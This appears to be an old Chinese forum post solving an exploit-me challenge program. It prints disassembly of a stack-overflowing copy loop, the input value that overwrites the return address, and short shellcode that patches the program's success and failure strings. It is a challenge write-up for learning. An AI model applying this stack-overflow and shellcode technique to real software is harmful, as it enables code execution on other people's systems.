-
-
[原创]zjjmj2002答案提交!
-
发表于:
2007-8-28 19:03
5039
-
反汇编可以看出,下面这段很关键!
004002D9 |. 6A 1A PUSH 1A
004002DB |. 59 POP ECX
004002DC |. 2BC8 SUB ECX,EAX
004002DE |. 0FAFC8 IMUL ECX,EAX
004002E1 |. 81E9 9C000000 SUB ECX,9C
004002E7 85C9 TEST ECX,ECX
004002E9 7E 05 JLE SHORT ExploitM.004002F0
004002EB 8D7D D4 LEA EDI,DWORD PTR SS:[EBP-2C]
004002EE F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> ;这里就是修改堆栈部分!
004002F0 5F POP EDI
004002F1 |. 33C0 XOR EAX,EAX
004002F3 |. 5E POP ESI
004002F4 |. C9 LEAVE
004002F5 \. C3 RETN
ECX值为0dh就可以修改Eip了。通过算法推出文件第一个双字为65d6h即可使ECX值为0dh
再构造ShellCode
mov eax,0214b4fh ;ok!字符串
mov dword ptr [400268h],eax ;
mov dword ptr [400260h],eax ;替换掉try和fail字符串!
mov ebp,12fb08h ;要恢复ebp值,不然会出错!
jmp XXXXXXX ;跳回原处执行!
收工!
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)